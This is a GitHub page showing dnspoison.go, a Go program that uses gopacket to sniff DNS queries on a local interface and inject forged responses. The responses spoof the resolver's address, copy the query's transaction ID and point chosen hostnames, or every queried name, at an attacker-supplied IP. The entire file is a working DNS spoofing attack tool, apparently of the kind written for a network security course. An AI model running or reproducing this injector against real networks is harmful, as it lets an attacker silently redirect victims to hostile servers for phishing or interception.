-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathdnspoison.go
277 lines (241 loc) · 6.41 KB
/
dnspoison.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
package main
import (
"fmt"
"os"
"strings"
"strconv"
"time"
"log"
"net"
"io/ioutil"
"github.com/google/gopacket"
"github.com/google/gopacket/pcap"
"github.com/google/gopacket/layers"
)
var (
eth layers.Ethernet
ip4 layers.IPv4
ip6 layers.IPv6
tcp layers.TCP
udp layers.UDP
dns layers.DNS
payload gopacket.Payload
snapshot_len int32 = 1024
promiscuous bool = true
timeout time.Duration = 1 * time.Second
intface string
err error
handle *pcap.Handle
SrcIP string
DstIP string
SrcPort string
DstPort string
DnsServerPort string
VicPort string
DnsServerIP string
VicIP string
)
func stringInSlice(a string, list []string) bool {
for _, b := range list {
if b == a {
return true
}
}
return false
}
func removeItemAtIndexI(index int, array [] string){
array[index] = array[len(array)-1]
array[len(array)-1] = ""
array = array[:len(array)-1]
}
func sniffTraffic(interfaceName string, bpfFilter string, attacker map[string]string, snifAll bool){
var attackerIp string
if(snifAll == true){
conn, _ := net.Dial("udp", "8.8.8.8:80")
defer conn.Close()
attackerIp = conn.LocalAddr().(*net.UDPAddr).String()
attackerIp = strings.Split(attackerIp, ":")[0]
}
devices, err := pcap.FindAllDevs()
if err != nil {
log.Fatal(err)
}
intface = devices[0].Name
handle, err = pcap.OpenLive(intface, 1024, true, 1 * time.Second)
if err != nil {
log.Fatal(err)
}
defer handle.Close()
//Setting BPF Filter
bpfFilter = "udp"
if bpfFilter != "nil" {
fmt.Println(bpfFilter)
err = handle.SetBPFFilter(bpfFilter)
if err != nil {
fmt.Printf("---- Please enter BPF filter in accurate BPF syntax ----\n")
log.Fatal(err)
}
}
parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &ip4, &ip6, &tcp, &udp, &dns, &payload)
decodedLayers := make([]gopacket.LayerType, 0, 10)
for {
data, _, err := handle.ReadPacketData()
if err != nil {
continue
}
err = parser.DecodeLayers(data, &decodedLayers)
hostnames := make([]string, 0, len(attacker))
for hostname, _ := range attacker {
hostnames = append(hostnames, hostname)
}
for _, typ := range decodedLayers {
switch typ {
case layers.LayerTypeUDP:
VicPort = udp.SrcPort.String()
DnsServerPort = udp.DstPort.String()
case layers.LayerTypeIPv4:
VicIP = ip4.SrcIP.String()
DnsServerIP = ip4.DstIP.String()
case layers.LayerTypeDNS:
dnsId := int(dns.ID)
for _, dnsQuestion := range dns.Questions {
domain := string(dnsQuestion.Name)
if(snifAll == true){
sendDnsPacket(dnsId, VicIP, VicPort, DnsServerIP, domain, attackerIp)
} else if(snifAll == false && stringInSlice(domain, hostnames)){
sendDnsPacket(dnsId, VicIP, VicPort, DnsServerIP, domain, attacker[domain])
}
}
}
}
}
}
func sendDnsPacket(dnsId int, vicIp string, vicPort string, orgDnsServerIp string, domain_name string, attacker_ip string){
eth := layers.Ethernet{
SrcMAC: net.HardwareAddr{0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
DstMAC: net.HardwareAddr{0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
EthernetType: layers.EthernetTypeIPv4,
}
sourceIP := net.ParseIP(orgDnsServerIp)
destinationIP := net.ParseIP(vicIp)
ip := layers.IPv4{
Version: 4,
TTL: 64,
SrcIP: sourceIP,
DstIP: destinationIP,
Protocol: layers.IPProtocolUDP,
}
// Create udp layer
destinationPort, err := strconv.Atoi(vicPort)
udp := layers.UDP{
SrcPort: 53,
DstPort: layers.UDPPort(destinationPort),
}
udp.SetNetworkLayerForChecksum(&ip)
qnName := []byte(domain_name)
qst := layers.DNSQuestion{
Name: qnName,
Type: layers.DNSTypeCNAME,
Class: layers.DNSClassIN,
}
transactionId := (uint16(dnsId))
fmt.Println(fmt.Sprintf("Attacker's ip being inserted: %s", attacker_ip))
attackerIp := net.ParseIP(attacker_ip)
ans := layers.DNSResourceRecord{
Name: qnName,
Type: layers.DNSTypeA,
IP: attackerIp,
Class: layers.DNSClassIN,
}
dns := layers.DNS{
BaseLayer: layers.BaseLayer{},
ID: transactionId,
QR: true,
OpCode: 0,
AA: false,
TC: false,
RD: true,
RA: true,
Z: 0,
ResponseCode: 0,
QDCount: 1,
ANCount: 1,
NSCount: 0,
ARCount: 0,
Questions: []layers.DNSQuestion{qst},
Answers: []layers.DNSResourceRecord{ans},
}
buffer := gopacket.NewSerializeBuffer()
options := gopacket.SerializeOptions{
ComputeChecksums: true,
FixLengths: true,
}
if err = gopacket.SerializeLayers(buffer, options,
ð,
&ip,
&udp,
&dns,
); err != nil {
panic(err)
}
outgoingPacket := buffer.Bytes()
if err = handle.WritePacketData(outgoingPacket); err != nil {
panic(err)
}
}
func main(){
commandLineArgs := os.Args
filename := ""
interfaceName := "any"
expression := "udp"
if len(commandLineArgs) < 0 {
fmt.Println("Usage:\nsudo go run [-i interface] [-r pcap] [-f filename]")
fmt.Println("-i flag expects interface name")
fmt.Println("-f flag expects filename")
} else {
var indices []int
indices = append(indices, 0)
for i, _ := range commandLineArgs {
if(commandLineArgs[i] == "-f"){
filename = commandLineArgs[i+1]
indices = append(indices, i)
indices = append(indices, i + 1)
}
if(commandLineArgs[i] == "-i"){
interfaceName = commandLineArgs[i+1]
indices = append(indices, i)
indices = append(indices, i + 1)
}
}
for _, val := range indices {
removeItemAtIndexI(val, commandLineArgs)
}
if(len(commandLineArgs) > 1){
expression = commandLineArgs[1]
}
attacker := make(map[string]string)
if(filename != ""){
data, err := ioutil.ReadFile(filename)
if err != nil {
fmt.Println("File reading error", err)
return
}
lines := strings.Split(string(data), "\n")
fmt.Println(fmt.Sprintf("READING CONTENTS OF FILE: %s", filename))
for index, element := range lines {
_ = index
hostname_and_attackerip := strings.Fields(element)
if len(hostname_and_attackerip) == 0{
break
}
attacker_ip := hostname_and_attackerip[0]
hostname := hostname_and_attackerip[1]
attacker[hostname] = attacker_ip
}
fmt.Println(attacker)
sniffTraffic(interfaceName, expression, attacker, false)
} else {
sniffTraffic(interfaceName, expression, attacker, true)
}
}
}